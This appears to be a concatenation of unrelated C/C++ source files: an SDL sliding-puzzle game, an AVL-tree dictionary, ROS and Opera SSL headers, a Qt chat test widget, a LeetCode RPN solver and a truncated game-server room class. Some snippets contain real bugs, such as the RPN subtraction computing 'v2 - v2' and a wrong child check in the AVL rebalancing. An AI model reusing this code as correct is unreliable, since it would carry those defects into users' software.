///-----------------------------------------------------------
SDL_Surface* menu ;
SDL_Surface* buttonHelp ;
SDL_Surface* buttonClose ;
///----------------------------------------------------------
buttonHelp = IMG_Load("images/options/help.png");
buttonClose = IMG_Load("images/options/close.png");
///----------------------------------------------------------
SDL_Rect positionMenu;
SDL_Rect positionHelp;
SDL_Rect positionClose;
///-------------------------------------------------------------
SDL_Surface *arrierePlan = IMG_Load("images/arriere-plan.jpg") ;
SDL_Rect positionArrierePlan ;
positionArrierePlan.x = 0 ;
positionArrierePlan.y = 0 ;
SDL_BlitSurface(arrierePlan, NULL, ecran, &positionArrierePlan);
///---------------------------------------------------------------
///---------------------------------------------------------------
SDL_Surface *cellule[9] ;
cellule[0] = IMG_Load("images/cases/0.jpg") ;
cellule[1] = IMG_Load("images/cases/1.jpg") ;
cellule[2] = IMG_Load("images/cases/2.jpg") ;
cellule[3] = IMG_Load("images/cases/3.jpg") ;
cellule[4] = IMG_Load("images/cases/4.jpg") ;
cellule[5] = IMG_Load("images/cases/5.jpg") ;
cellule[6] = IMG_Load("images/cases/6.jpg") ;
cellule[7] = IMG_Load("images/cases/7.jpg") ;
cellule[8] = IMG_Load("images/cases/8.jpg") ;
SDL_Rect positionCellule ;
///-----------------------------------------------------------------
positionMenu.x = 0 ;
positionMenu.y = 0 ;
positionHelp.x = 0.5 * CELLULE ;
positionHelp.y = 0.5 * CELLULE ;
positionClose.x = 5.5 * CELLULE;
positionClose.y = 0.5 * CELLULE;
///--------------------------------------------------------------------
SDL_Rect positionZero; /// On rep�re la case vide
SDL_Rect positionActuel;
positionZero = genereTaquin(P, ecran, cellule);
if (mode == 'f')
{
infini = IMG_Load("images/mode/infini.png");
positionInfini.x = 3 * CELLULE;
positionInfini.y = 8 * CELLULE;
SDL_BlitSurface(infini, NULL, ecran, &positionInfini);
}
else if (mode == 'm')
{
nbCoups = rechercheAetoile(etatInitial, etatFinal , genereSuccesseur );
nbCoups *= 2;
afficheNbCoups(ecran, nbCoups);
}
else if (mode == 'h')
{
nbCoups = rechercheAetoile(etatInitial, etatFinal , genereSuccesseur );
afficheNbCoups(ecran, nbCoups);
}
SDL_Surface *taquinFinal = IMG_Load("images/but.jpg") ;
SDL_Rect positionBut;
positionBut.x = CELLULE * 2.5 ;
positionBut.y = CELLULE * 5.5 ;
SDL_BlitSurface(taquinFinal, NULL, ecran, &positionBut) ;
SDL_Flip(ecran) ;
int continuer = 0;
int finPartie = 0;
float n, m;
int a, b, a0, b0;
while (!continuer)
{
SDL_Event event;
while (SDL_PollEvent(&event))
{
switch (event.type)
{
case SDL_QUIT:
{
continuer = 1;
break;
}
case SDL_KEYDOWN:
{
if (event.key.keysym.sym == SDLK_ESCAPE)
continuer = 1;
break;
}
case SDL_MOUSEMOTION :
{
m = event.motion.x / CELLULE;
n = event.motion.y / CELLULE;
if ((m >= 0.5) && (m <= 1.5) && (n >= 0.5) && (n <= 1.5))
{
buttonHelp = IMG_Load("images/options/help-hover.png");
}
else if ((m >= 5.5) && (m <= 6.5) && (n >= 0.5) && (n <= 1.5))
{
buttonClose = IMG_Load("images/options/close-hover.png");
}
else
{
buttonHelp = IMG_Load("images/options/help.png");
buttonClose = IMG_Load("images/options/close.png");
}
SDL_BlitSurface(buttonHelp, NULL, ecran, &positionHelp) ;
SDL_BlitSurface(buttonClose, NULL, ecran, &positionClose) ;
}
break ;
case SDL_MOUSEBUTTONUP:
{
if (event.button.button == SDL_BUTTON_LEFT)
{
positionActuel.x = event.button.x;
positionActuel.y = event.button.y;
if ((positionActuel.x >= (2 * CELLULE)) && (positionActuel.x <= (5 * CELLULE)) && (positionActuel.y >= 2 * CELLULE) && (positionActuel.y <= (5 * CELLULE)))
{
a = (positionActuel.y - 2 * CELLULE) / CELLULE;
b = (positionActuel.x - 2 * CELLULE) / CELLULE;
a0 = (positionZero.y - 2 * CELLULE) / CELLULE;
b0 = (positionZero.x - 2 * CELLULE) / CELLULE;
if(deplacementPossible(a, b, a0, b0) && !(finPartie))
{
deplacer(&etatInitial.M[a][b], &etatInitial.M[a0][b0]);
if (mode == 'm' || mode == 'h')
{
nbCoups--;
afficheNbCoups(ecran, nbCoups);
}
positionZero = genereTaquin(P, ecran, cellule) ;
if (etatSolution(etatInitial, etatFinal))
{
victoire(ecran);
finPartie = 1;
}
else if (nbCoups < 0)
{
echec(ecran);
finPartie = 1;
}
}
}
else if ((m >= 5.5) && (m <= 6.5) && (n >= 0.5) && (n <= 1.5))
{
menu2(ecran);
continuer = 1;
}
break;
}
}
}
SDL_Flip(ecran);
}
}
SDL_FillRect(ecran, NULL, SDL_MapRGB(ecran->format, 0, 0, 0));
}
SDL_Rect genereTaquin(int *P, SDL_Surface *ecran, SDL_Surface **cellule)
{
SDL_Rect pos;
SDL_Rect positionZero;
int i,j;
for (i = 0; i < TAILLE; i++)
{
for(j = 0; j < TAILLE; j++)
{
pos.x = CELLULE * (2+j) ;
pos.y = CELLULE * (2+i) ;
SDL_BlitSurface(cellule[*(P+i*3+j)], NULL, ecran, &pos) ;
if (*(P+i*3+j) == 0)
{
positionZero.x = pos.x ;
positionZero.y = pos.y ;
}
}
}
return positionZero ;
}
int deplacementPossible(int a, int b, int a0, int b0)
{
if ((a == a0 + 1) && (a0 != 2) && (b == b0)) return 1 ;
else if ((a == a0 - 1) && (a0 != 0) && (b == b0)) return 1 ;
else if ((b == b0 + 1) && (b0 != 2) && (a == a0)) return 1 ;
else if ((b == b0 - 1) && (b0 != 0) && (a == a0)) return 1 ;
return 0;
}
void deplacer(int* m, int* n)
{
int aide;
aide = *m;
*m = *n;
*n = aide;
}
int estSolution(int *P)
{
int i, j;
for (i = 0; i < TAILLE; i++)
{
for (j = 0; j < TAILLE-1; j++)
{
if (*(P + i * TAILLE + j) != (i * TAILLE + j + 1)) return 0;
}
}
return 1;
}
|
#include <iostream>
#include "StatusDna.h"
std::vector<std::string> StatusDna::m_statuslist(0);
StatusDna::StatusDna(const std::string& status):m_status(status)
{
m_statuslist.push_back(status);
}
void StatusDna::setStatus(const std::string& status, size_t id)
{
m_status = status;
m_statuslist[id-1] = status;
}
std::vector<std::string>& StatusDna::getListStatus()
{
return m_statuslist;
}
std::string& StatusDna::getStatus(size_t idDna)
{
return m_statuslist[idDna];
}
|
/*
* Software License Agreement (BSD License)
*
* Copyright (c) 2011, Southwest Research Institute
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* * Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* * Neither the name of the Southwest Research Institute, nor the names
* of its contributors may be used to endorse or promote products derived
* from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
* AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
* LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
* CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
* INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
* CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
* ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
#ifndef hdt_JointTrajectoryExecutor_h
#define hdt_JointTrajectoryExecutor_h
// system includes
#include <Eigen/Dense>
#include <actionlib/server/action_server.h>
#include <control_msgs/FollowJointTrajectoryAction.h>
#include <control_msgs/FollowJointTrajectoryFeedback.h>
#include <ros/ros.h>
#include <trajectory_msgs/JointTrajectory.h>
// project includes
#include <rcta/common/hdt_description/RobotModel.h>
namespace hdt
{
class JointTrajectoryExecutor
{
private:
typedef actionlib::ActionServer<control_msgs::FollowJointTrajectoryAction> JTAS;
typedef JTAS::GoalHandle GoalHandle;
public:
JointTrajectoryExecutor(ros::NodeHandle& n);
~JointTrajectoryExecutor();
bool initialize();
private:
/// @brief Return whether two sets (represented as vectors) are equal.
static bool sets_equal(const std::vector<std::string> &a, const std::vector<std::string>& b);
// void watchdog(const ros::TimerEvent &e);
void goal_callback(GoalHandle gh);
void cancel_callback(GoalHandle gh);
ros::NodeHandle node_;
ros::NodeHandle ph_;
std::string action_server_name_;
JTAS action_server_;
ros::Publisher pub_controller_command_;
ros::Subscriber sub_controller_state_;
// ros::Timer watchdog_timer_;
bool has_active_goal_;
GoalHandle active_goal_;
trajectory_msgs::JointTrajectory current_traj_;
int current_segment_;
std::vector<std::string> joint_names_;
std::map<std::string, double> goal_constraints_;
std::map<std::string, double> trajectory_constraints_;
double end_effector_goal_tolerance_;
double end_effector_path_tolerance_;
double goal_time_constraint_;
double stopped_velocity_tolerance_;
control_msgs::FollowJointTrajectoryFeedback::ConstPtr last_controller_state_;
hdt::RobotModelPtr robot_model_;
static const double DEFAULT_GOAL_THRESHOLD;
static const double DEFAULT_END_EFFECTOR_GOAL_TOLERANCE;
static const double DEFAULT_END_EFFECTOR_PATH_TOLERANCE;
bool read_constraints();
bool ready() const;
bool within_goal_constraints(const control_msgs::FollowJointTrajectoryFeedbackConstPtr& msg,
const std::map<std::string, double>& constraints,
const trajectory_msgs::JointTrajectory& traj) const;
bool within_goal_ee_constraints(const Eigen::Affine3d& current, const Eigen::Affine3d& target) const;
void controller_state_callback(const control_msgs::FollowJointTrajectoryFeedbackConstPtr &msg);
bool set_new_goal(GoalHandle handle);
void cancel_curr_goal();
void abort_curr_goal();
void complete_curr_goal();
void clear_active_goal();
bool active_goal() const;
bool valid_segment() const;
bool advance();
int num_segments() const;
bool send_command();
void send_stop_command();
trajectory_msgs::JointTrajectory create_empty_command() const;
/// @brief Return the index of a joint or -1 if it is not found
std::string to_string(const trajectory_msgs::JointTrajectoryPoint& traj_point) const;
int find_joint_index(const std::string& joint_name, const trajectory_msgs::JointTrajectory& joint_traj) const;
};
} // namespace hdt
#endif
|
#pragma once
#ifdef CPPSQLAPI_EXPORTS
#define CPPSQLAPI_API __declspec(dllexport)
#else
#define CPPSQLAPI_API __declspec(dllimport)
#endif
#include <curl/curl.h>
#include <nlohmann/json.hpp>
#include <string>
#include <vector>
#include <algorithm>
class CPPSQLAPI_API cpp_sql_api
{
static CURL* curl_handle;
std::string script_url;
public:
cpp_sql_api(std::string url);
cpp_sql_api();
static void init();
static void cleanup();
void set_script_url(std::string url);
std::string sql_query(std::string query_, std::string db_ = "vntu_iq", std::string fetch_cmd_ = "all");
~cpp_sql_api();
private:
static void curl_api(std::string &url, std::string &result_json);
static void curl_api_with_header(std::string &url, std::string &result_json, std::vector <std::string> &extra_http_header, std::string &post_data, std::string &action);
static size_t curl_cb(void *content, size_t size, size_t nmemb, std::string *buffer);
};
|
//============================================================================
// Name : AVL_tree.cpp
// Author : Aditya
// Version :
// Copyright : Your copyright notice
// Description : Hello World in C++, Ansi-style
//============================================================================
#include <iostream>
#include <string.h>
using namespace std;
class lnode
{
string data;
lnode* next;
public:
lnode(string s)
{
data = s;
next = NULL;
}
friend class SLL;
};
class SLL
{
lnode* head;
public:
SLL()
{
head = NULL;
}
void create();
void show();
void del_at_pos(int);
void insert_at_beg(string);
int count();
friend class node;
};
void SLL::create()
{
string s;
while(1)
{
cout << "Enter meaning: ";
getline(cin,s);
if(s == "-1")
{
return;
}
lnode* p;
if(head == NULL)
{
head = new lnode(s);
p = head;
}
else
{
p->next = new lnode(s);
p = p->next;
}
}
}
void SLL::show()
{
lnode* p = head;
int i = 0;
while(p != NULL)
{
cout << i+1 << ". " << p->data << "\n";
p = p->next;
i++;
}
}
void SLL::insert_at_beg(string s)
{
lnode* p = new lnode(s);
p->next = head;
head = p;
}
int SLL::count()
{
int i=0;
lnode* p = head;
while(p != NULL)
{
i++;
p = p->next;
}
return i;
}
void SLL::del_at_pos(int pos)
{
int cnt = count();
if(pos < 1 || pos > cnt)
{
cout << "Invalid position.";
return;
}
if(pos == 1)
{
lnode* p = head;
head = p->next;
delete p;
}
else
{
lnode* q;
lnode* p = head;
for(int i=1;i<pos;i++)
{
q = p;
p = p->next;
}
q->next = p->next;
delete p;
}
}
class node
{
string key;
SLL meaning;
node *left,*right;
public:
node(string x)
{
key = x;
meaning.create();
left = right = NULL;
}
friend class AVL;
};
class AVL
{
node* root;
public:
AVL()
{
root = NULL;
}
void create();
node* insert(node*,string);
void inorder(node*);
node* del_rec(node*,string);
void del();
node* find_min(node*);
node* rotateleft(node*);
node* rotateright(node*);
node* LR(node*);
node* RL(node*);
int height(node*);
int bal_fac(node*);
node* check_rotate(node*);
void temp();
void search(node*,string);
void update_meaning(node*,string,int);
};
void AVL::create()
{
string x;
while(1)
{
cout << "Key: ";
getline(cin,x);
if(x == "-1")
{
break;
}
root = insert(root,x);
}
}
node* AVL::insert(node* T,string x)
{
if(T == NULL)
{
node* temp = new node(x);
return temp;
}
if(x < T->key)
{
T->left = insert(T->left,x);
if(bal_fac(T) == 2)
{
if(x < T->left->key)
{
T = rotateright(T);
}
else
{
T = LR(T);
}
}
return T;
}
if(x > T->key)
{
T->right = insert(T->right,x);
if(bal_fac(T) == -2)
{
if(x < T->right->key)
{
T = RL(T);
}
else
{
T = rotateleft(T);
}
}
return T;
}
else
{
cout << "Repeat.\n";
return NULL;
}
}
void AVL::inorder(node *T)
{
if(T != NULL)
{
inorder(T->left);
cout << T->key << " " << height(T) << " " << bal_fac(T) << "\n" ;
T->meaning.show();
cout << "\n\n";
inorder(T->right);
}
}
node* AVL::del_rec(node* T,string x)
{
if(T == NULL)
{
cout << "Not found.\n";
return T;
}
if(x < T->key)
{
T->left = del_rec(T->left,x);
T = check_rotate(T);
return T;
}
if(x > T->key)
{
T->right = del_rec(T->right,x);
T = check_rotate(T);
return T;
}
if(T->left == NULL && T->right == NULL)
{
delete T;
return NULL;
}
if(T->left == NULL)
{
node* p = T->right;
delete T;
return p;
}
if(T->right == NULL)
{
node* p = T->left;
delete T;
return p;
}
node* p = find_min(T->right);
T->key = p->key;
T->meaning = p->meaning;
T->right = del_rec(T->right,p->key);
T = check_rotate(T);
return T;
}
void AVL::del()
{
string x;
cout << "Enter key to be deleted: ";
getline(cin,x);
root = del_rec(root,x);
}
node* AVL::find_min(node* T)
{
while(T->left != NULL)
{
T = T->left;
}
return T;
}
node* AVL::rotateleft(node* T)
{
node* p = T->right;
T->right = p->left;
p->left = T;
return p;
}
node* AVL::rotateright(node* T)
{
node* p = T->left;
T->left = p->right;
p->right = T;
return p;
}
node* AVL::LR(node* T)
{
T->left = rotateleft(T->left);
T = rotateright(T);
return T;
}
node* AVL::RL(node* T)
{
T->right = rotateright(T->right);
T = rotateleft(T);
return T;
}
int AVL::height(node* T)
{
if(T == NULL)
{
return 0;
}
if(T->left == NULL && T->right == NULL)
{
return 0;
}
int hl = height(T->left);
int hr = height(T->right);
if(hl > hr)
{
return 1 + hl;
}
else
{
return 1 + hr;
}
}
int AVL::bal_fac(node* T)
{
int hl = 0,hr = 0;
if(T->left != NULL)
{
hl = 1 + height(T->left);
}
if(T->right != NULL)
{
hr = 1 + height(T->right);
}
return hl-hr;
}
node* AVL::check_rotate(node* T)
{
if(bal_fac(T) == 2)
{
if(bal_fac(T->left) == 1 || bal_fac(T->left) == 0)
{
T = rotateright(T);
}
else
{
T = LR(T);
}
}
else if(bal_fac(T) == -2)
{
if(bal_fac(T->left) == -1 || bal_fac(T->left) == 0)
{
T = rotateleft(T);
}
else
{
T = RL(T);
}
}
return T;
}
void AVL::search(node* T,string x)
{
int cnt = 0;
int flag = 0;
while(1)
{
cnt++;
if(T == NULL)
{
cout << "Not Found.\n";
return;
}
if(T->key == x)
{
break;
}
if(x < T->key)
{
T = T->left;
}
else if(x > T->key)
{
T = T->right;
}
}
cout << T->key << " " << height(T) << " " << bal_fac(T) << "\n" ;
cout << "Number of searches required: " << cnt << endl;
T->meaning.show();
cout << "\n\n";
}
void AVL::update_meaning(node* T,string x,int a)
{
int flag = 0;
while(1)
{
if(T == NULL)
{
cout << "Not Found.\n";
return;
}
if(T->key == x)
{
flag = 1;
break;
}
if(x < T->key)
{
T = T->left;
}
else if(x > T->key)
{
T = T->right;
}
}
if(a == 1)
{
string s;
cout << "Enter new meaning: ";
getline(cin,s);
T->meaning.insert_at_beg(s);
}
else
{
int p;
cout << "Enter position of meaning: ";
cin >> p;
T->meaning.del_at_pos(p);
}
}
void AVL::temp()
{
cout << "1. Create Dictionary.\n";
cout << "2. Display Dictionary.\n";
cout << "3. Search from Dictionary.\n";
cout << "4. Insert key into Dictionary.\n";
cout << "5. Delete key from Dictionary.\n";
cout << "6. Insert meaning for key.\n";
cout << "7. Delete meaning of key.\n";
cout << "8. Exit.\n";
int ch;
string t;
while(1)
{
cout << "Enter choice: ";
cin >> ch;
switch(ch)
{
case 1:
cin.ignore(1);
create();
break;
case 2:
inorder(root);
break;
case 3:
cin.ignore(1);
cout << "Enter key to be searched: ";
getline(cin,t);
search(root,t);
break;
case 4:
cin.ignore(1);
cout << "Enter key to be inserted: ";
getline(cin,t);
root = insert(root,t);
break;
case 5:
cin.ignore(1);
del();
break;
case 6:
cin.ignore(1);
cout << "Enter key to be updated: ";
getline(cin,t);
update_meaning(root,t,1);
break;
case 7:
cin.ignore(1);
cout << "Enter key to be updated: ";
getline(cin,t);
update_meaning(root,t,2);
break;
case 8:
return;
default:
cout << "Invalid choice.\n";
}
}
}
int main() {
AVL a;
a.temp();
}
|
#ifndef TEST_SUIT1
#define TEST_SUIT1
#include "../main/callbackwrapper.h"
#include <QDebug>
#include <QWidget>
#include <condition_variable>
#include <mutex>
#include <QLabel>
#include <QMutex>
extern "C" {
extern void IM_SetMode(int mode);
}
class QTextBrowser;
class QLabel;
class MainWidget: public QWidget,
public ImWrapper
{
Q_OBJECT
public:
explicit MainWidget(QString username,
QString roomid,
QString passwd=QString(),
QString token=QString(),
QWidget *parent = 0);
~MainWidget();
virtual void OnLogin(YIMErrorcode errorcode, const XString& userID) {
qDebug() << errorcode;
if (errorcode == YIMErrorcode_Success) {
qDebug() << XStringToLocal(userID).c_str() << "Login success!";
}
YIMErrorcode code = YIMManager::CreateInstance()->GetChatRoomManager()
->JoinChatRoom(m_roomID.c_str());
if (code != YIMErrorcode_Success) {
qDebug() << QStringLiteral("");
}
cv.notify_one();
}
void OnJoinChatRoom(YIMErrorcode errorcode, const XString& chatRoomID) {
qDebug() << "Join room success..." << XStringToLocal(chatRoomID).c_str();
YIMManager* im = YIMManager::CreateInstance();
if (errorcode != YIMErrorcode_Success) {
qDebug() << tr("Join room failed...");
}
#ifdef WIN32
m_status->setText(QString::number(im->GetSDKVersion())
+ "\n"
+ QString::fromStdWString(m_username)
+ "\n"
+ QString::fromStdWString(m_roomID));
#else
m_status->setText(im->GetSDKVersion() + "\n" + QString::fromStdString(m_username)
+ "\n" + QString::fromStdString(m_roomID));
#endif
cv.notify_one();
}
virtual void OnLogout() {
qDebug() << "User logout" ;
cv.notify_one();
}
void OnRecvMessage( std::shared_ptr<IYIMMessage> message);
void OnDownload(YIMErrorcode errorcode, std::shared_ptr<IYIMMessage> msg, const XString &savePath);
private slots:
void quitRobot();
private:
void init();
private:
std::mutex mutex;
std::condition_variable cv;
XString m_username;
XString m_roomID;
XString m_passwd;
XString m_token;
QLabel * m_status;
QTextBrowser *m_editor;
QMutex textlock;
};
#endif // TEST_SUIT1
|
#ifndef __ARRAYLIST_H
#define __ARRAYLIST_H
#include <cstdlib>
#include <iostream>
/* This is the generic List class */
template <class T>
class ArrayList
{
T *array;
int size;
public:
int capacity;
// Constructor
ArrayList() {
size = 0;
capacity = 4;
array = new T[capacity];
}
// Copy Constructor
ArrayList(const ArrayList<T>& otherList);
// Destructor
~ArrayList();
// Insertion Functions
void insertAtHead(T item);
void insertAtTail(T item);
void insertAfter(T toInsert, T afterWhat);
void insertSorted(T item);
// Lookup Functions
int searchFor(T item);
T getAt(int i) const;
// Deletion Functions
void deleteElement(T item);
void deleteAt(int i);
void deleteHead();
void deleteTail();
// Utility Functions
void resize();
int length() const;
T* getArray();
void reverse();
};
#endif
|
#include <bits/stdc++.h>
using namespace std;
//Only solution class for the problem
//All codes are written by krishna
// 150. Evaluate Reverse Polish Notation
// Medium
// 978
// 466
// Add to List
// Share
// Evaluate the value of an arithmetic expression in Reverse Polish Notation.
// Valid operators are +, -, *, /. Each operand may be an integer or another expression.
// Note:
// Division between two integers should truncate toward zero.
// The given RPN expression is always valid. That means the expression would always evaluate to a result and there won't be any divide by zero operation.
// Example 1:
// Input: ["2", "1", "+", "3", "*"]
// Output: 9
// Explanation: ((2 + 1) * 3) = 9
// Example 2:
// Input: ["4", "13", "5", "/", "+"]
// Output: 6
// Explanation: (4 + (13 / 5)) = 6
// Example 3:
// Input: ["10", "6", "9", "3", "+", "-11", "*", "/", "*", "17", "+", "5", "+"]
// Output: 22
// Explanation:
// ((10 * (6 / ((9 + 3) * -11))) + 17) + 5
// = ((10 * (6 / (12 * -11))) + 17) + 5
// = ((10 * (6 / -132)) + 17) + 5
// = ((10 * 0) + 17) + 5
// = (0 + 17) + 5
// = 17 + 5
// = 22
// time complexity ---> o(n)
// space complexity ---> o(n)
class Solution
{
public:
int evalRPN(vector<string> &tokens)
{
stack<int> s;
for (int i = 0; i < tokens.size(); i++)
{
if (tokens[i] == "+" || tokens[i] == "-" || tokens[i] == "*" || tokens[i] == "/")
{
int v1 = s.top();
s.pop();
int v2 = s.top();
s.pop();
if (tokens[i] == "+")
{
s.push(v1 + v2);
}
else if (tokens[i] == "-")
{
s.push(v2 - v2);
}
else if (tokens[i] == "*")
{
s.push(v2 * v1);
}
else if (tokens[i] == "/")
{
s.push(v2 / v1);
}
}
else{
//we need to push int value but vector contains string value
// we need to convert it to int value
s.push(atoi(tokens[i].c_str()));
}
}
return s.top();
}
};
|
// Copyright (c) 2013 Nick Porcino, All rights reserved.
// License is MIT: http://opensource.org/licenses/MIT
#pragma once
#ifdef __cplusplus
#define EXTERNC extern "C"
#else
#define EXTERNC
#endif
#include "defines.h"
#include "export.h"
#include <string>
#include <vector>
//namespace Json { class Value; }
struct LandruNode_t {};
struct LandruLibrary_t {};
struct LandruVMContext_t {};
struct LandruAssembler_t {};
EXTERNC LandruNode_t* landruCreateRootNode();
EXTERNC int landruParseProgram(LandruNode_t* rootNode,
// std::vector<std::pair<std::string, Json::Value*> >* jsonVars,
char const* buff, size_t len);
EXTERNC void landruPrintAST(LandruNode_t* rootNode);
EXTERNC void landruPrintRawAST(LandruNode_t* rootNode);
EXTERNC void landruToJson(LandruNode_t* rootNode);
EXTERNC LandruLibrary_t* landruCreateLibrary(char const*const name);
EXTERNC LandruVMContext_t* landruCreateVMContext(LandruLibrary_t* lib);
EXTERNC void landruInitializeStdLib(LandruLibrary_t* library, LandruVMContext_t* vmContext);
EXTERNC LandruAssembler_t* landruCreateAssembler(LandruLibrary_t*);
EXTERNC int landruLoadRequiredLibraries(LandruAssembler_t*, LandruNode_t* root_node, LandruLibrary_t* library, LandruVMContext_t* vmContext);
EXTERNC void landruAssemble(LandruAssembler_t*, LandruNode_t* rootNode);
EXTERNC void landruVMContextSetTraceEnabled(LandruVMContext_t*, bool);
EXTERNC void landruInitializeContext(LandruAssembler_t*, LandruVMContext_t*);
EXTERNC void landruLaunchMachine(LandruVMContext_t*, char const*const name);
EXTERNC bool landruUpdate(LandruVMContext_t*, double now);
EXTERNC void landruReleaseAssembler(LandruAssembler_t*);
EXTERNC void landruReleaseRootNode(LandruNode_t*);
EXTERNC void landruReleaseLibrary(LandruLibrary_t*);
EXTERNC void landruReleaseVMContext(LandruVMContext_t*);
|
/* -*- Mode: c++; tab-width: 4; indent-tabs-mode: nil; c-basic-offset: 4 -*-
**
** Copyright (C) 2000-2012 Opera Software ASA. All rights reserved.
**
** This file is part of the Opera web browser. It may not be distributed
** under any circumstances.
**
** Yngve Pettersen
**
*/
#ifndef SSLSESS_H
#define SSLSESS_H
#if defined _NATIVE_SSL_SUPPORT_
#include "modules/libssl/base/sslprotver.h"
#include "modules/libssl/handshake/cipherid.h"
#include "modules/libssl/handshake/asn1certlist.h"
#include "modules/libssl/handshake/cert_message.h"
#include "modules/libssl/options/cipher_description.h"
#include "modules/libssl/ssl_api.h"
#include "modules/about/opgenerateddocument.h"
#include "modules/util/opstrlst.h"
class SSL_SessionStateRecord{
public:
//ServerName_Pointer servername;
//uint16 port;
SSL_varvector8 sessionID;
time_t last_used;
/** The version that is negotiated for this session */
SSL_ProtocolVersion used_version;
SSL_CipherID used_cipher;
SSL_CompressionMethod used_compression;
SSL_Certificate_st Site_Certificate;
SSL_Certificate_st Validated_Site_Certificate;
SSL_Certificate_st Client_Certificate;
#ifndef TLS_NO_CERTSTATUS_EXTENSION
BOOL ocsp_extensions_sent;
SSL_varvector32 sent_ocsp_extensions;
SSL_varvector32 received_ocsp_response;
#endif
SSL_secure_varvector16 mastersecret;
SSL_varvector16 keyarg;
//BOOL tls_disabled;
BOOL used_correct_tls_no_cert;
BOOL use_correct_tls_no_cert;
BOOL is_resumable;
BOOL session_negotiated;
SSL_ConfirmedMode_enum UserConfirmed;
uint32 connections;
SSL_CipherDescriptions_Pointer cipherdescription;
int security_rating;
int low_security_reason;
SSL_keysizes lowest_keyex;
#ifdef SSL_CHECK_EXT_VALIDATION_POLICY
BOOL extended_validation;
#endif
BOOL renegotiation_extension_supported;
OpString ocsp_fail_reason;
OpString security_cipher_string;
OpString Matched_name;
OpString_list CertificateNames;
int certificate_status;
SSL_SessionStateRecord();
virtual ~SSL_SessionStateRecord();
#ifdef _SECURE_INFO_SUPPORT
URL *session_information;
URL_InUse session_information_lock;
void SetUpSessionInformation(SSL_Port_Sessions *server_info); // located in ssl_sess.cpp
void DestroySessionInformation();
#endif
private:
void InternalInit();
class CertificateInfoDocument : public OpGeneratedDocument
{
public:
CertificateInfoDocument(URL &url, SSL_SessionStateRecord *session, SSL_Port_Sessions *server_info)
: OpGeneratedDocument(url, OpGeneratedDocument::XHTML5)
, m_session(session)
, m_server_info(server_info)
{};
virtual OP_STATUS GenerateData();
private:
OP_STATUS WriteLocaleString(const OpStringC &prefix, Str::LocaleString id, const OpStringC &postfix);
protected:
SSL_SessionStateRecord *m_session;
SSL_Port_Sessions_Pointer m_server_info;
};
};
class SSL_SessionStateRecordList : public Link, public SSL_SessionStateRecord {
public:
SSL_SessionStateRecordList();
virtual ~SSL_SessionStateRecordList();
SSL_SessionStateRecordList* Suc() const{
return (SSL_SessionStateRecordList *)Link::Suc();
}; //pointer
SSL_SessionStateRecordList* Pred() const{
return (SSL_SessionStateRecordList *)Link::Pred();
}; //pointer
};
#endif
#endif // SSLSTAT_H
|
#include "pch.h"
Room::Room()
{
}
Room::~Room()
{
}
BOOL Room::Begin(DWORD Index)
{
CThreadSync Sync;
m_RootUser = NULL;
m_Index = -1;
m_IsGameStarted = FALSE;
m_IsRoomStarted = FALSE;
IsEmpty = TRUE;
m_IsFull = FALSE;
m_CurrentUserCount = 0;
ZeroMemory(m_Title, sizeof(WCHAR) * 32);
ZeroMemory(m_RoomUser, sizeof(LobbyUser*) * 4);
return TRUE;
}
BOOL Room::End()
{
CThreadSync Sync;
return TRUE;
}
BOOL Room::JoinUser(LobbyUser * user, USHORT & slotIndex)
{
CThreadSync Sync;
for (int i = 0; i < 4; i++)
{
if (m_RoomUser[i] == NULL)
{
m_RoomUser[i] = user;
user->SetEnteredRoom(this);
m_CurrentUserCount = min(SHORT(m_CurrentUserCount++), 8);
slotIndex = i;
if (m_CurrentUserCount == 1)
{
m_RootUser = user;
m_IsFull = FALSE;
}
else if (m_CurrentUserCount == 4)
{
m_IsFull = TRUE;
}
else
{
m_IsFull = FALSE;
}
IsEmpty = FALSE;
break;
}
}
return TRUE;
}
BOOL Room::LeaveUser(BOOL IsDisconnect, LobbyIocp *iocp, LobbyUser * user)
{
CThreadSync Sync;
BYTE WriteBuffer[MAX_BUFFER_LENGTH] = { 0, };
for (int i = 0; i < 4; i++)
{
if (m_RoomUser[i] == user)
{
m_RoomUser[i] = NULL;
user->SetEnteredRoom(NULL);
user->SetReady(FALSE);
m_CurrentUserCount = max(m_CurrentUserCount--, 0);
if (m_RootUser == user)
{
m_RootUser = NULL;
for (int j = 0; j < 4; j++)
{
if (m_RoomUser[j])
{
m_RootUser = m_RoomUser[j];
CLog::WriteDebugLog(_T("Master Change : %s"), m_RootUser->GetID());
break;
}
}
}
if (m_CurrentUserCount == 0)
IsEmpty = TRUE;
BYTE WriteBuffer[MAX_BUFFER_LENGTH] = { 0, };
LobbyIocp::GetInstance()->GetGateServer()->GetSession()->SendPacket(PT_SC_SEND_LEAVE_ROOM, WriteBuffer,
WRITE_PT_SC_SEND_LEAVE_ROOM(WriteBuffer, user->GetUID()));
CLog::WriteDebugLog(_T("%s is Leave Room"), user->GetID());
return TRUE;
}
}
CLog::WriteDebugLog(_T("Room Leave Failed"));
return FALSE;
}
BOOL Room::SendAll(DWORD Protocol, BYTE * packet, DWORD PacketLength)
{
CThreadSync Sync;
for (int i = 0; i < 4; i++)
{
if (m_RoomUser[i])
{
m_RoomUser[i];
}
}
return TRUE;
}
BOOL Room::RoomStart()
{
CThreadSync Sync;
